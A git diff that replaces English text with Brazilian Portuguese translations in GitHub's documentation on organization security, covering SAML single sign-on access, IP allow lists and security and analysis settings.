   - /github/setting-up-and-managing-organizations-and-teams/managing-bots-and-service-accounts-with-saml-single-sign-on
@@ -9,17 +9,17 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage bots & service accounts
+shortTitle: Gerenciar bots & contas de serviço
 ---
 
-To retain access for bots and service accounts, organization administrators can [enable](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization), but **not** [enforce](/articles/enforcing-saml-single-sign-on-for-your-organization) SAML single sign-on for their organization. If you need to enforce SAML single sign-on for your organization, you can create an external identity for the bot or service account with your identity provider (IdP).
+Para manter o acesso para bots e contas de serviço, os administradores da organização podem [habilitar](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization), mas **não** [executar](/articles/enforcing-saml-single-sign-on-for-your-organization) o logon único SAML na organização. Se você precisa executar logon único SAML na organização, é possível criar uma identidade externa para o bot ou conta de serviço com seu provedor de identidade (IdP).
 
 {% warning %}
 
-**Note:** If you enforce SAML single sign-on for your organization and **do not** have external identities set up for bots and service accounts with your IdP, they will be removed from your organization.
+**Observação:** se você aplicar logon único SAML na sua organização e **não** tiver configurado identidades externas para bots e contas de serviço com o IdP, eles serão removidos da organização.
 
 {% endwarning %}
 
-## Further reading
+## Leia mais
 
-- "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
+- "[Sobre gerenciamento de identidade e acesso com o SAML de logon único](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
diff --git a/translations/pt-BR/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md b/translations/pt-BR/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md
index 8845f4c7cb..bd99001e65 100644
--- a/translations/pt-BR/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md
+++ b/translations/pt-BR/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing and managing a member's SAML access to your organization
-intro: 'You can view and revoke an organization member''s linked identity, active sessions, and authorized credentials.'
+title: Visualizar e gerenciar o acesso SAML de um integrante à sua organização
+intro: 'Você pode visualizar e revogar a identidade vinculada de um integrante da organização, as sessões ativas e as credenciais autorizadas.'
 permissions: Organization owners can view and manage a member's SAML access to an organization.
 redirect_from:
   - /articles/viewing-and-revoking-organization-members-authorized-access-tokens
@@ -11,27 +11,27 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage SAML access
+shortTitle: Gerenciar acesso SAML
 ---
 
-## About SAML access to your organization
+## Sobre o acesso SAML à sua organização
 
-When you enable SAML single sign-on for your organization, each organization member can link their external identity on your identity provider (IdP) to their existing account on {% data variables.product.product_location %}. To access your organization's resources on {% data variables.product.product_name %}, the member must have an active SAML session in their browser. To access your organization's resources using the API or Git, the member must use a personal access token or SSH key that the member has authorized for use with your organization.
+Ao habilitar o logon único SAML para a sua organização, cada integrante da organização pode vincular sua identidade externa no seu provedor de identidade (IdP) à sua conta atual em {% data variables.product.product_location %}. Para acessar os recursos da sua organização no {% data variables.product.product_name %}, o integrante deverá ter uma sessão SAML ativa em seu navegador. Para acessar os recursos da sua organização usando a API ou o Git, o integrante deve usar um token de acesso pessoal ou chave SSH que o integrante autorizou a usar com a sua organização.
 
-You can view and revoke each member's linked identity, active sessions, and authorized credentials on the same page.
+Você pode visualizar e revogar a identidade vinculada de cada integrante, as sessões ativas e as credenciais autorizadas na mesma página.
 
-## Viewing and revoking a linked identity
+## Visualizar e revogar uma identidade vinculada
 
-{% data reusables.saml.about-linked-identities %} 
+{% data reusables.saml.about-linked-identities %}
 
-When available, the entry will include SCIM data. For more information, see "[About SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)."
+Quando disponível, a entrada incluirá dados de SCIM. Para obter mais informações, consulte "[Sobre o SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)".
 
 {% warning %}
 
-**Warning:** For organizations using SCIM:
-- Revoking a linked user identity on {% data variables.product.product_name %} will also remove the SAML and SCIM metadata. As a result, the identity provider will not be able to synchronize or deprovision the linked user identity.
-- An admin must revoke a linked identity through the identity provider.
-- To revoke a linked identity and link a different account through the identity provider, an admin can remove and re-assign the user to the {% data variables.product.product_name %} application. For more information, see your identity provider's documentation.
+**Aviso:** Para organizações que usam SCIM:
+- A revogação de uma identidade de usuário vinculada em {% data variables.product.product_name %} também removerá os metadados SAML e SCIM. Como resultado, o provedor de identidade não poderá sincronizar ou desprovisionar a identidade do usuário vinculada.
+- Um administrador deverá revogar uma identidade vinculada por meio do provedor de identidade.
+- Para revogar uma identidade vinculada e vincular uma conta diferente por meio do provedor de identidade, um administrador pode remover e reatribuir o usuário ao aplicativo de {% data variables.product.product_name %}. Para obter mais informações, consulte a documentação do seu provedor de identidade.
 
 {% endwarning %}
 
@@ -47,7 +47,7 @@ When available, the entry will include SCIM data. For more information, see "[Ab
 {% data reusables.saml.revoke-sso-identity %}
 {% data reusables.saml.confirm-revoke-identity %}
 
-## Viewing and revoking an active SAML session
+## Visualizar e revogar uma sessão ativa de SAML
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
@@ -57,7 +57,7 @@ When available, the entry will include SCIM data. For more information, see "[Ab
 {% data reusables.saml.view-saml-sessions %}
 {% data reusables.saml.revoke-saml-session %}
 
-## Viewing and revoking authorized credentials
+## Visualizar e revogar credenciais autorizadas
 
 {% data reusables.saml.about-authorized-credentials %}
 
@@ -70,7 +70,7 @@ When available, the entry will include SCIM data. For more information, see "[Ab
 {% data reusables.saml.revoke-authorized-credentials %}
 {% data reusables.saml.confirm-revoke-credentials %}
 
-## Further reading
+## Leia mais
 
-- "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)"{% ifversion ghec %}
-- "[Viewing and managing a user's SAML access to your enterprise account](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)"{% endif %}
+- "[Sobre a identidade e gerenciamento de acesso com o logon único SAML](/articles/about-identity-and-access-management-with-saml-single-sign-on)"{% ifversion ghec %}
+- "[Visualizando e gerenciando o acesso SAML de um usuário à sua conta corporativa](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)"{% endif %}
diff --git a/translations/pt-BR/content/organizations/index.md b/translations/pt-BR/content/organizations/index.md
index aebcbe659d..0ef9164460 100644
--- a/translations/pt-BR/content/organizations/index.md
+++ b/translations/pt-BR/content/organizations/index.md
@@ -1,7 +1,7 @@
 ---
-title: Organizations and teams
-shortTitle: Organizations
-intro: Collaborate across many projects while managing access to projects and data and customizing settings for your organization.
+title: Organizações e equipes
+shortTitle: Organizações
+intro: Colabore em muitos projetos gerenciando o acesso a projetos e dados e personalizando as configurações de sua organização.
 redirect_from:
   - /articles/about-improved-organization-permissions
   - /categories/setting-up-and-managing-organizations-and-teams
diff --git a/translations/pt-BR/content/organizations/keeping-your-organization-secure/index.md b/translations/pt-BR/content/organizations/keeping-your-organization-secure/index.md
index 01d2dd4043..57eafbdf8d 100644
--- a/translations/pt-BR/content/organizations/keeping-your-organization-secure/index.md
+++ b/translations/pt-BR/content/organizations/keeping-your-organization-secure/index.md
@@ -1,6 +1,6 @@
 ---
-title: Keeping your organization secure
-intro: 'Organization owners have several features to help them keep their projects and data secure. If you''re the owner of an organization, you should regularly review your organization''s audit log{% ifversion not ghae %}, member 2FA status,{% endif %} and application settings to ensure that no unauthorized or malicious activity has occurred.'
+title: Proteger sua organização
+intro: 'Os proprietários de organizações têm vários recursos disponíveis para ajudá-los a proteger seus projetos e dados. Se você for o proprietário de uma organização, você deverá revisar regularmente o log de auditoria da sua organização{% ifversion not ghae %}, status de 2FA do integrante{% endif %} e as configurações do aplicativo para garantir que não ocorra nenhuma atividade não autorizada ou maliciosa.'
 redirect_from:
   - /articles/preventing-unauthorized-access-to-organization-information
   - /articles/keeping-your-organization-secure
@@ -22,6 +22,6 @@ children:
   - /restricting-email-notifications-for-your-organization
   - /reviewing-the-audit-log-for-your-organization
   - /reviewing-your-organizations-installed-integrations
-shortTitle: Organization security
+shortTitle: Segurança da organização
 ---
 
diff --git a/translations/pt-BR/content/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization.md b/translations/pt-BR/content/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization.md
index 4fc8425724..241ed9bbaf 100644
--- a/translations/pt-BR/content/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization.md
+++ b/translations/pt-BR/content/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Managing allowed IP addresses for your organization
-intro: You can restrict access to your organization's assets by configuring a list of IP addresses that are allowed to connect.
+title: Gerenciar endereços IP permitidos para sua organização
+intro: Você pode restringir o acesso aos ativos da sua organização configurando uma lista de endereços IP autorizados a se conectar.
 product: '{% data reusables.gated-features.allowed-ip-addresses %}'
 redirect_from:
   - /github/setting-up-and-managing-organizations-and-teams/managing-allowed-ip-addresses-for-your-organization
@@ -11,24 +11,24 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage allowed IP addresses
+shortTitle: Gerenciar endereços IP permitidos
 ---
 
-Organization owners can manage allowed IP addresses for an organization.
+Os proprietários da organização podem gerenciar endereços IP permitidos para uma organização.
 
-## About allowed IP addresses
+## Sobre endereços IP permitidos
 
-You can restrict access to organization assets by configuring an allow list for specific IP addresses. {% data reusables.identity-and-permissions.ip-allow-lists-example-and-restrictions %}
+Você pode restringir o acesso a ativos da organização configurando uma lista de permissões para endereços IP específicos. {% data reusables.identity-and-permissions.ip-allow-lists-example-and-restrictions %}
 
 {% data reusables.identity-and-permissions.ip-allow-lists-cidr-notation %}
 
 {% data reusables.identity-and-permissions.ip-allow-lists-enable %}
 
-If you set up an allow list you can also choose to automatically add to your allow list any IP addresses configured for {% data variables.product.prodname_github_apps %} that you install in your organization. The creator of a {% data variables.product.prodname_github_app %} can configure an allow list for their application, specifying the IP addresses at which the application runs. By inheriting their allow list into yours, you avoid connection requests from the application being refused. For more information, see "[Allowing access by {% data variables.product.prodname_github_apps %}](#allowing-access-by-github-apps)."
+Se você configurar uma lista de permissões, você também poderá optar por adicionar automaticamente à sua lista de permissões todos os endereços IP configurados em {% data variables.product.prodname_github_apps %} que você instalar na sua organização. O criador de um {% data variables.product.prodname_github_app %} pode configurar uma lista de permissões para o seu aplicativo, especificando os endereços IP em que o aplicativo é executado. Ao herdar a lista de permissões deles para a sua lista, você evita as solicitações de conexão do aplicativo que está sendo recusado. Para obter mais informações, consulte "[Permitir acesso por {% data variables.product.prodname_github_apps %}](#allowing-access-by-github-apps)".
 
-You can also configure allowed IP addresses for the organizations in an enterprise account. For more information, see "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise)."
+Você também pode configurar endereços IP permitidos para as organizações em uma conta corporativa. Para obter mais informações, consulte "[Aplicando políticas de segurança na sua empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise)".
 
-## Adding an allowed IP address
+## Adicionar endereços IP permitidos
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
@@ -37,33 +37,31 @@ You can also configure allowed IP addresses for the organizations in an enterpri
 {% data reusables.identity-and-permissions.ip-allow-lists-add-description %}
 {% data reusables.identity-and-permissions.ip-allow-lists-add-entry %}
 
-## Enabling allowed IP addresses
+## Habilitar endereços IP permitidos
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.security %}
-1. Under "IP allow list", select **Enable IP allow list**.
-  ![Checkbox to allow IP addresses](/assets/images/help/security/enable-ip-allowlist-organization-checkbox.png)
-1. Click **Save**.
+1. Em "IP allow list" (Lista de permissões IP), selecione **Enable IP allow list** (Habilitar lista de permissões IP). ![Caixa de seleção para permitir endereços IP](/assets/images/help/security/enable-ip-allowlist-organization-checkbox.png)
+1. Clique em **Salvar**.
 
-## Allowing access by {% data variables.product.prodname_github_apps %}
+## Permitindo acesso de {% data variables.product.prodname_github_apps %}
 
-If you're using an allow list, you can also choose to automatically add to your allow list any IP addresses configured for {% data variables.product.prodname_github_apps %} that you install in your organization. 
+Se você estiver usando uma lista de permissão, você também pode optar por adicionar automaticamente à sua lista de permissões todos os endereços IP configurados em {% data variables.product.prodname_github_apps %} que você instalar na sua organização.
 
 {% data reusables.identity-and-permissions.ip-allow-lists-address-inheritance %}
 
 {% data reusables.apps.ip-allow-list-only-apps %}
 
-For more information about how to create an allow list for a {% data variables.product.prodname_github_app %} you have created, see "[Managing allowed IP addresses for a GitHub App](/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app)."
+Para mais informações sobre como criar uma lista de permissões para uma {% data variables.product.prodname_github_app %} que você criou, consulte "[Gerenciar endereços IP permitidos para um aplicativo GitHub](/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app)".
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.security %}
-1. Under "IP allow list", select **Enable IP allow list configuration for installed GitHub Apps**.
-  ![Checkbox to allow GitHub App IP addresses](/assets/images/help/security/enable-ip-allowlist-githubapps-checkbox.png)
-1. Click **Save**.
+1. Em "Lista de permissão do IP", selecione **Habilitar o IP para a configuração da lista de aplicativos instalados no GitHub**. ![Caixa de seleção para permitir endereços IP do aplicativo GitHub](/assets/images/help/security/enable-ip-allowlist-githubapps-checkbox.png)
+1. Clique em **Salvar**.
 
-## Editing an allowed IP address
+## Editar endereços IP permitidos
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
@@ -71,9 +69,9 @@ For more information about how to create an allow list for a {% data variables.p
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-entry %}
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-ip %}
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-description %}
-1. Click **Update**.
+1. Clique em **Atualizar**.
 
-## Deleting an allowed IP address
+## Excluir endereços IP permitidos
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
@@ -81,6 +79,6 @@ For more information about how to create an allow list for a {% data variables.p
 {% data reusables.identity-and-permissions.ip-allow-lists-delete-entry %}
 {% data reusables.identity-and-permissions.ip-allow-lists-confirm-deletion %}
 
-## Using {% data variables.product.prodname_actions %} with an IP allow list
+## Usar {% data variables.product.prodname_actions %} com uma lista endereços IP permitidos
 
 {% data reusables.github-actions.ip-allow-list-self-hosted-runners %}
diff --git a/translations/pt-BR/content/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization.md b/translations/pt-BR/content/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization.md
index 3053a0a101..a11d505d76 100644
--- a/translations/pt-BR/content/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization.md
+++ b/translations/pt-BR/content/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Managing security and analysis settings for your organization
-intro: 'You can control features that secure and analyze the code in your organization''s projects on {% data variables.product.prodname_dotcom %}.'
+title: Gerenciar as configurações de segurança e análise para a sua organização
+intro: 'Você pode controlar recursos que protegem e analisam o código nos projetos da sua organização no {% data variables.product.prodname_dotcom %}.'
 permissions: Organization owners can manage security and analysis settings for repositories in the organization.
 redirect_from:
   - /github/setting-up-and-managing-organizations-and-teams/managing-secret-scanning-for-your-organization
@@ -13,164 +13,158 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage security & analysis
+shortTitle: Gerenciar segurança & análise
 ---
 
-## About management of security and analysis settings
+## Sobre a gestão de configurações de segurança e análise
 
-{% data variables.product.prodname_dotcom %} can help secure the repositories in your organization. You can manage the security and analysis features for all existing or new repositories that members create in your organization. {% ifversion ghec %}If you have a license for {% data variables.product.prodname_GH_advanced_security %} then you can also manage access to these features. {% data reusables.advanced-security.more-info-ghas %}{% endif %}{% ifversion fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %} with a license for {% data variables.product.prodname_GH_advanced_security %} can also manage access to these features. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization).{% endif %}
+O {% data variables.product.prodname_dotcom %} pode ajudar a proteger os repositórios na sua organização. É possível gerenciar os recursos de segurança e análise para todos os repositórios existentes ou novos que os integrantes criarem na sua organização. {% ifversion ghec %}Se você tiver uma licença para {% data variables.product.prodname_GH_advanced_security %}, você também poderá gerenciar o acesso a essas funcionalidades. {% data reusables.advanced-security.more-info-ghas %}{% endif %}{% ifversion fpt %}Organizações que usam {% data variables.product.prodname_ghe_cloud %} com uma licença para {% data variables.product.prodname_GH_advanced_security %} também podem gerenciar o acesso a essas funcionalidades. Para obter mais informações, consulte [a documentação de {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization).{% endif %}
 
 {% data reusables.security.some-security-and-analysis-features-are-enabled-by-default %}
 {% data reusables.security.security-and-analysis-features-enable-read-only %}
 
-## Displaying the security and analysis settings
+## Exibir as configurações de segurança e análise
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.security-and-analysis %}
 
-The page that's displayed allows you to enable or disable all security and analysis features for the repositories in your organization.
+A página exibida permite que você habilite ou desabilite todas as funcionalidades de segurança e análise dos repositórios na sua organização.
 
-{% ifversion ghec %}If your organization belongs to an enterprise with a license for {% data variables.product.prodname_GH_advanced_security %}, the page will also contain options to enable and disable {% data variables.product.prodname_advanced_security %} features. Any repositories that use {% data variables.product.prodname_GH_advanced_security %} are listed at the bottom of the page.{% endif %}
+{% ifversion ghec %}Se a sua organização pertence a uma empresa com uma licença para {% data variables.product.prodname_GH_advanced_security %}, a página também conterá opções para habilitar e desabilitar funcionalidades de {% data variables.product.prodname_advanced_security %}. Todos os repositórios que usam {% data variables.product.prodname_GH_advanced_security %} estão listados na parte inferior da página.{% endif %}
 
-{% ifversion ghes > 3.0 %}If you have a license for {% data variables.product.prodname_GH_advanced_security %}, the page will also contain options to enable and disable {% data variables.product.prodname_advanced_security %} features. Any repositories that use {% data variables.product.prodname_GH_advanced_security %} are listed at the bottom of the page.{% endif %}
+{% ifversion ghes > 3.0 %}Se você tiver uma licença para {% data variables.product.prodname_GH_advanced_security %}, a página também conterá opções para habilitar e desabilitar funcionalidades de {% data variables.product.prodname_advanced_security %}. Todos os repositórios que usam {% data variables.product.prodname_GH_advanced_security %} estão listados na parte inferior da página.{% endif %}
 
-{% ifversion ghae %}The page will also contain options to enable and disable {% data variables.product.prodname_advanced_security %} features. Any repositories that use {% data variables.product.prodname_GH_advanced_security %} are listed at the bottom of the page.{% endif %}
+{% ifversion ghae %}A página também conterá opções para habilitar e desabilitar funcionalidades de {% data variables.product.prodname_advanced_security %}. Todos os repositórios que usam {% data variables.product.prodname_GH_advanced_security %} estão listados na parte inferior da página.{% endif %}
 
-## Enabling or disabling a feature for all existing repositories
+## Habilitar ou desabilitar um recurso para todos os repositórios existentes
 
-You can enable or disable features for all repositories. 
-{% ifversion fpt or ghec %}The impact of your changes on repositories in your organization is determined by their visibility:
+Você pode habilitar ou desabilitar funcionalidades para todos os repositórios.
+{% ifversion fpt or ghec %}O impacto de suas alterações nos repositórios da organização é determinado pela visibilidade:
 
-- **Dependency graph** - Your changes affect only private repositories because the feature is always enabled for public repositories.
-- **{% data variables.product.prodname_dependabot_alerts %}** - Your changes affect all repositories.
-- **{% data variables.product.prodname_dependabot_security_updates %}** - Your changes affect all repositories.
+- **Gráfico de dependências** - Suas alterações afetam apenas repositórios privados porque a funcionalidade está sempre habilitada para repositórios públicos.
+- **{% data variables.product.prodname_dependabot_alerts %}** - As suas alterações afetam todos os repositórios.
+- **{% data variables.product.prodname_dependabot_security_updates %}** - As suas alterações afetam todos os repositórios.
 {%- ifversion ghec %}
-- **{% data variables.product.prodname_GH_advanced_security %}** - Your changes affect only private repositories because {% data variables.product.prodname_GH_advanced_security %} and the related features are always enabled for public repositories.
-- **{% data variables.product.prodname_secret_scanning_caps %}** - Your changes affect only private repositories where {% data variables.product.prodname_GH_advanced_security %} is also enabled. {% data variables.product.prodname_secret_scanning_caps %} is always enabled for public repositories.
+- **{% data variables.product.prodname_GH_advanced_security %}** - As suas alterações afetam apenas repositórios privados, porque {% data variables.product.prodname_GH_advanced_security %} e os as funcionalidades relacionadas estão sempre habilitadas para repositórios públicos.
+- **{% data variables.product.prodname_secret_scanning_caps %}** - As suas alterações afetam apenas repositórios privados em que {% data variables.product.prodname_GH_advanced_security %} também está habilitado. {% data variables.product.prodname_secret_scanning_caps %} está sempre habilitado para repositórios públicos.
 {% endif %}
 
 {% endif %}
 
 {% data reusables.advanced-security.note-org-enable-uses-seats %}
 
-1. Go to the security and analysis settings for your organization. For more information, see "[Displaying the security and analysis settings](#displaying-the-security-and-analysis-settings)."
-2. Under "Configure security and analysis features", to the right of the feature, click **Disable all** or **Enable all**. {% ifversion ghes > 3.0 or ghec %}The control for "{% data variables.product.prodname_GH_advanced_security %}" is disabled if you have no available seats in your {% data variables.product.prodname_GH_advanced_security %} license.{% endif %}
+1. Acesse as configurações de segurança e análise da sua organização. Para obter mais informações, consulte "[Exibir as configurações de segurança e análise](#displaying-the-security-and-analysis-settings)".
+2. Em "Configurar recursos de segurança e análise" à direita do recurso, clique em **Desabilitar tudo** ou **Habilitar tudo**. {% ifversion ghes > 3.0 or ghec %}O controle para "{% data variables.product.prodname_GH_advanced_security %}" fica desabilitado se você não tiver estações disponíveis na sua licença de {% data variables.product.prodname_GH_advanced_security %}.{% endif %}
    {% ifversion fpt %}
-   !["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/help/organizations/security-and-analysis-disable-or-enable-all-fpt.png)
+   ![Botão "Habilitar tudo" ou "Desabilitar tudo" para os recursos de "Configurar segurança e análise"](/assets/images/help/organizations/security-and-analysis-disable-or-enable-all-fpt.png)
    {% endif %}
    {% ifversion ghec %}
-   !["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/help/organizations/security-and-analysis-disable-or-enable-all-ghas-ghec.png)
+   ![Botão "Habilitar tudo" ou "Desabilitar tudo" para os recursos de "Configurar segurança e análise"](/assets/images/help/organizations/security-and-analysis-disable-or-enable-all-ghas-ghec.png)
    {% endif %}
    {% ifversion ghes > 3.2 %}
-   !["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/enterprise/3.3/organizations/security-and-analysis-disable-or-enable-all-ghas.png)
+   ![Botão "Habilitar tudo" ou "Desabilitar tudo" para os recursos de "Configurar segurança e análise"](/assets/images/enterprise/3.3/organizations/security-and-analysis-disable-or-enable-all-ghas.png)
    {% endif %}
    {% ifversion ghes = 3.1 or ghes = 3.2 %}
-   !["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/enterprise/3.1/help/organizations/security-and-analysis-disable-or-enable-all-ghas.png)
+   ![Botão "Habilitar tudo" ou "Desabilitar tudo" para os recursos de "Configurar segurança e análise"](/assets/images/enterprise/3.1/help/organizations/security-and-analysis-disable-or-enable-all-ghas.png)
    {% endif %}
    {% ifversion ghes = 3.0 %}
-   !["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/enterprise/3.0/organizations/security-and-analysis-disable-or-enable-all-ghas.png)
+   ![Botão "Habilitar tudo" ou "Desabilitar tudo" para os recursos de "Configurar segurança e análise"](/assets/images/enterprise/3.0/organizations/security-and-analysis-disable-or-enable-all-ghas.png)
    {% endif %}
    {% ifversion ghae %}
-   !["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/enterprise/github-ae/organizations/security-and-analysis-disable-or-enable-all-ghae.png)
+   ![Botão "Habilitar tudo" ou "Desabilitar tudo" para os recursos de "Configurar segurança e análise"](/assets/images/enterprise/github-ae/organizations/security-and-analysis-disable-or-enable-all-ghae.png)
    {% endif %}
    {% ifversion fpt or ghes = 3.0 or ghec %}
-3. Optionally, enable the feature by default for new repositories in your organization.
+3. Opcionalmente, habilite o recurso para novos repositórios na organização por padrão.
    {% ifversion fpt or ghec %}
-   !["Enable by default" option for new repositories](/assets/images/help/organizations/security-and-analysis-enable-by-default-in-modal.png)
+   ![Opção de "Habilitar por padrão" para novos repositórios](/assets/images/help/organizations/security-and-analysis-enable-by-default-in-modal.png)
    {% endif %}
    {% ifversion ghes = 3.0 %}
-   !["Enable by default" option for new repositories](/assets/images/enterprise/3.0/organizations/security-and-analysis-secret-scanning-enable-by-default.png)
+   ![Opção de "Habilitar por padrão" para novos repositórios](/assets/images/enterprise/3.0/organizations/security-and-analysis-secret-scanning-enable-by-default.png)
    {% endif %}
    {% endif %}
    {% ifversion fpt or ghes = 3.0 or ghec %}
-4. Click **Disable FEATURE** or **Enable FEATURE** to disable or enable the feature for all the repositories in your organization.
+4. Clique em **Desabilitar RECURSO** ou **Habilitar RECURSO** para desabilitar ou habilitar o recurso para todos os repositórios da sua organização.
    {% ifversion fpt or ghec %}
-   ![Button to disable or enable feature](/assets/images/help/organizations/security-and-analysis-enable-dependency-graph.png)
+   ![Botão para desabilitar ou habilitar recurso](/assets/images/help/organizations/security-and-analysis-enable-dependency-graph.png)
    {% endif %}
    {% ifversion ghes = 3.0 %}
-   ![Button to disable or enable feature](/assets/images/enterprise/3.0/organizations/security-and-analysis-enable-secret-scanning.png)
+   ![Botão para desabilitar ou habilitar recurso](/assets/images/enterprise/3.0/organizations/security-and-analysis-enable-secret-scanning.png)
    {% endif %}
    {% endif %}
    {% ifversion ghae or ghes > 3.0 %}
-3. Click **Enable/Disable all** or **Enable/Disable for eligible repositories** to confirm the change.
-   ![Button to enable feature for all the eligible repositories in the organization](/assets/images/enterprise/github-ae/organizations/security-and-analysis-enable-secret-scanning-existing-repos-ghae.png)
+3. Clique em **Habilitar/Desabilitar todos** ou **Habilitar/Desabilitar para repositórios elegíveis** para confirmar a alteração. ![Botão para habilitar o recurso para todos os repositórios elegíveis na organização](/assets/images/enterprise/github-ae/organizations/security-and-analysis-enable-secret-scanning-existing-repos-ghae.png)
    {% endif %}
 
    {% data reusables.security.displayed-information %}
 
-## Enabling or disabling a feature automatically when new repositories are added
+## Habilitar ou desabilitar uma funcionalidade automaticamente quando novos repositórios forem adicionados
 
-1. Go to the security and analysis settings for your organization. For more information, see "[Displaying the security and analysis settings](#displaying-the-security-and-analysis-settings)."
-2. Under "Configure security and analysis features", to the right of the feature, enable or disable the feature by default for new repositories{% ifversion fpt or ghec %}, or all new private repositories,{% endif %} in your organization.
+1. Acesse as configurações de segurança e análise da sua organização. Para obter mais informações, consulte "[Exibir as configurações de segurança e análise](#displaying-the-security-and-analysis-settings)".
+2. Em "Configurar funcionalidades de segurança e análise", à direita da funcionalidade, habilite ou desabilite o recurso por padrão para novos repositórios{% ifversion fpt or ghec %}, ou todos os novos repositórios privados,{% endif %} na sua organização.
    {% ifversion fpt %}
-   ![Checkbox for enabling or disabling a feature for new repositories](/assets/images/help/organizations/security-and-analysis-enable-or-disable-feature-checkbox-fpt.png)
+   ![Caixa de seleção para habilitar ou desabilitar um recurso para novos repositórios](/assets/images/help/organizations/security-and-analysis-enable-or-disable-feature-checkbox-fpt.png)
    {% endif %}
    {% ifversion ghec %}
-   ![Checkbox for enabling or disabling a feature for new repositories](/assets/images/help/organizations/security-and-analysis-enable-or-disable-feature-checkbox-ghec.png)
+   ![Caixa de seleção para habilitar ou desabilitar um recurso para novos repositórios](/assets/images/help/organizations/security-and-analysis-enable-or-disable-feature-checkbox-ghec.png)
    {% endif %}
   {% ifversion ghes > 3.2 %}
-   ![Checkbox for enabling or disabling a feature for new repositories](/assets/images/enterprise/3.3/organizations/security-and-analysis-enable-or-disable-feature-checkbox.png)
+   ![Caixa de seleção para habilitar ou desabilitar um recurso para novos repositórios](/assets/images/enterprise/3.3/organizations/security-and-analysis-enable-or-disable-feature-checkbox.png)
    {% endif %}
    {% ifversion ghes = 3.1 or ghes = 3.2 %}
-   ![Checkbox for enabling or disabling a feature for new repositories](/assets/images/enterprise/3.1/help/organizations/security-and-analysis-enable-or-disable-feature-checkbox.png)
+   ![Caixa de seleção para habilitar ou desabilitar um recurso para novos repositórios](/assets/images/enterprise/3.1/help/organizations/security-and-analysis-enable-or-disable-feature-checkbox.png)
    {% endif %}
    {% ifversion ghes = 3.0 %}
-   ![Checkbox for enabling or disabling a feature for new repositories](/assets/images/enterprise/3.0/organizations/security-and-analysis-enable-or-disable-secret-scanning-checkbox.png)
+   ![Caixa de seleção para habilitar ou desabilitar um recurso para novos repositórios](/assets/images/enterprise/3.0/organizations/security-and-analysis-enable-or-disable-secret-scanning-checkbox.png)
    {% endif %}
    {% ifversion ghae %}
-   ![Checkbox for enabling or disabling a feature for new repositories](/assets/images/enterprise/github-ae/organizations/security-and-analysis-enable-or-disable-secret-scanning-checkbox-ghae.png)
+   ![Caixa de seleção para habilitar ou desabilitar um recurso para novos repositórios](/assets/images/enterprise/github-ae/organizations/security-and-analysis-enable-or-disable-secret-scanning-checkbox-ghae.png)
    {% endif %}
 
 {% ifversion ghec or ghes > 3.2 %}
 <!--TODO confirm that this functionality is intentionally not available for FPT -->
 
-## Allowing {% data variables.product.prodname_dependabot %} to access private dependencies
+## Permitir que {% data variables.product.prodname_dependabot %} acesse dependências privadas
 
